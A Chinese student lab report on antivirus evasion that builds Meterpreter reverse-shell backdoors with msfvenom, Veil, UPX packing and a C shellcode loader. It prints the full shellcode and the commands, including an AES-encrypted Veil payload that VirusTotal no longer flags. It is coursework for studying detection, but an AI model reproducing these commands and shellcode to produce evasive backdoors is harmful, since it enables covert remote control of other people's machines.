网络对抗Exp3-免杀原理与实践
基础问题回答
(1)杀软是如何检测出恶意代码的?
目前杀毒软件的原理主要有3种:
- 引擎与病毒库的交互作用,通过特征码提取与病毒库中的特征码进行比对识别病毒。
- 启发式Heuristic,通过程序的一些行为和特征来判断。
- 在虚拟机技术上的启发式,通过建立一个虚拟环境运行程序对其进行全方位的检测。
(2)免杀是做什么?
免杀就是躲杀软的识别,免杀的基本思想就是破坏特征,这里的特征有可能是特征码,还有可能是行为特征,只要破环了病毒或木马的固有特征,并且保证原有的功能没有改变,那么免杀就算是完成了。
(3)免杀的基本方法有哪些?
1. 改变特征码
- 如果你手里只有EXE,可以通过加壳的方法。加壳又包括压缩壳和加密壳。
- 如果有shellcode(像Meterpreter),可以用encode进行编码,基于payload重新编译生成可执行文件,反复编码降低被查杀的可能性。
- 如果有源代码,用其他语言进行重写再编译(如本次实验使用到的veil-evasion)
2. 改变行为 - 通讯方式
尽量使用反弹式连接,即服务端(被控制端)会主动连接客户端(控制端)。 - 使用隧道技术
隧道协议将其它协议的数据帧或包重新封装然后通过隧道发送,把所有要传送的数据全部封装到合法的报文里进行传送以绕过防火墙。
- 加密通讯数据
- 操作模式
基于内存操作,像基于特征码的查杀大部分是扫描硬盘上的文件,所以可以考虑在用到后门时远程传输放在内存中运行,而不是存在硬盘上。但也有部分杀毒软件会扫描内存,一般可以采用加入nop指令来躲过查杀。减少对系统的修改,加入混淆作用的正常功能代码等都可以达到目的。
(4)开启杀软能绝对防止电脑中恶意代码吗?
肯定是不能的。之前也有分析过,目前各大杀毒软件的原理主要有仨,也就是针对已有、已经发现病毒、恶意代码的特征进行全面排查,但如果出现了新的类型的病毒或者代码,在原有病毒库中根本无法检测到对应样本,或者在正常情况下这个病毒或恶意代码的行为完全正常,只有经过特殊条件才会触发等都会绕过杀毒软件,而高超的黑客是能够做到这些的,也就是说杀软并不是万能的。
实验过程
一、正确使用msf编码器、msfvenom生成如jar之类的其他文件
免杀检测
-
参考实验二Exp2-后门原理与实践中的第三个小实验,在Kali上用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.129 LPORT=1319 -f exe > 20201319_backdoor.exe
生成针对Windows的毒化后门可执行程序2020201319_backdoor.exe
-
放入VirusTotal中进行扫描
-
VirusTotal中的扫描结果
68款杀软中53款报出了病毒,不加处理的后门程序能被大部分的杀软检测到
- 使用msf编码器多次迭代,生成exe文件
- 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
- 一次编码使用命令:
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
在Kali中输入如下命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.242.129 LPORT=1319 -f exe > 20191219exp3.exe
用VirusTotal检测还是能检测出问题
加入多次编码参数-i
,继续尝试(此处编码15次)
放入VirusTotal检测还是会检测出病毒
以上步骤说明简单的多次编码无法实现免杀
生成jar格式的后门文件
msfvenom -p java/shell_reverse_tcp LHOST=192.168.242.129 LPORT=119 -f jar > exp3_jar.jar
病毒检测
有35个机构检测出病毒
生成php格式的后门文件
man msfvenom
查找msf毒化命令的使用说明
使用如下命令生成php格式的后门文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.242.129 LPORT=1319 x> 20201319exp3.php
病毒检测
下面使用嵌入式shellcode,手动实现Shellcode的加载工作,只生成shellcode,而不是完整的可执行文件,这一个简单的步骤,就可以降低VirusTotal的命中率。
二、使用veil,加壳工具
veil的安装
安装命令行
sudo apt-get install veil-evasion
下载成功后,修改setup.sh
:
cd /usr/share/veil/config
sudo vim setup.sh #权限需要提升才能修改
进入vim命令模式输入:set number
显示行号,找到260行,修改下载源
修改完成后继续安装veil
,一路点击下一个(或者默认选项)即可
其中需要注意的是在第一次安装时会显示报错找不到autoit文件,这时报错后紧接着在命令行中输入
/usr/share/veil/config/setup.sh --force --silent
即可自动修复错误
输入veil无报错,至此安装成功
使用veil-evasion生成后门程序及检测
用use evasion
命令进入Evil-Evasion
输入命令use c/meterpreter/rev_tcp.py
进入配置界面
设置IP和端口set LHOST 192.168.242.129
和set LPORT 1319
输入generate
生成文件,接着输入命名,如:20201319wxl,如果不输入就是默认为payload
文件保存在/var/lib/veil/output/compiled/20201319wxl.exe`
通过VirusTotal检测,仍能被40个机构检测出病毒
对后门进行加壳处理
使用命令upx 20201319.exe -o 20201319_upx.exe
进行加壳
再次检测,发现基本没有太大变化
三、使用C + shellcode编程
通过命令用msf生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.129 LPORT=1319 -f c
生成攻击代码如下
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xf2\x81\x68\x02"
"\x00\x05\x27\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
下面将攻击代码写进C语言
使用i686-w64-mingw32-g++ shellcode.c -o shellcode_c_c.exe
编译成Win10下可执行文件
再次进行检测,检出率有所下降
四、通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
打开veil,选择Evasion
输入list
,找到攻击代码
输入use python/shellcode_inject/aes_encrypt.py
输入generate
,并选择2
进行配置
输出到路径/usr/share/veil/
再次检测,发现没有检测出问题!
利用python+aes_encrypt组合攻击的原理是使用了数据加密的方式进行多次编译后门软件
附加题
用Windows主机做测试,杀毒软件为联想电脑管家,版本为5.0.80.3126,通过实验2的方法将前面生成的后门程序20201319wxl.exe传送到主机中。
开启病毒检测
这时候并没有检测出问题
回到kali中进行msf配置,开启监听。
但是在这里但由于我的联想软件管家已经识别到了并提示我是否信任该软件,所以我的免杀原则上是失败的。
除非我信任该软件才能进行监听。
信任之后监听成功。如果不信任,该后门程序还会被系统直接删除。
不信任后,目录下已经找不到20201319wxl.exe这个程序了。
实验心得
本次实验让我能够有机会亲手实践如何给后门加壳、如何实现免杀。虽然我们的尝试都是一些最基础的操作,也没有涉及到复杂的原理和方法,并且生成的攻击程序基本都会被现有的杀毒软件检测出来,但是在这个过程中,我发现随着实验的逐步推进,VirusTotal的检出率也实现了逐步下降,这也带给了我一定的成就感,同时也让我明白了最简单的免杀的原理。本次实验也是很有收获的。